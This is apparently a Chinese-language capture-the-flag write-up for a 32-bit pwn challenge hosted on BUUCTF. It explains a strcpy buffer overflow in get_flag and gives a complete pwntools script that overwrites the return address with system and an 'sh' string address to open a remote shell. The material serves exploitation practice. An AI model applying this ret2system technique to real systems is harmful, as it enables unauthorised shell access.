file,checksec:
查看 main 函数,发现了有一个 get_flag 函数。
查看 get_flag 函数,发现存在溢出。strcpy 函数会复制 src 的数据并赋值给 dest ,这里会造成溢出。
且溢出大小为:0x48 + 4 (加 4 是因为此程序是 32 位的)
并且在 print 函数中发现了 system 函数。
之后尝试查找字符串 /bin/sh,并没有,但是找到了 sh。
exp:
from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',29109)
elf = ELF('./pwn')
context.log_level = 'debug'#params
sh_addr = 0x80482EA
#system_addr = 0x80484D0
system_addr = elf.sym['system']
main_addr = elf.sym['main']#attack
payload = b'a'*(0x48+4) + p32(system_addr) + p32(main_addr) + p32(sh_addr)
r.sendlineafter(b'password','administrator')
r.sendlineafter(b':',b'1')
r.sendline(payload)
r.sendline(b'4')
r.interactive()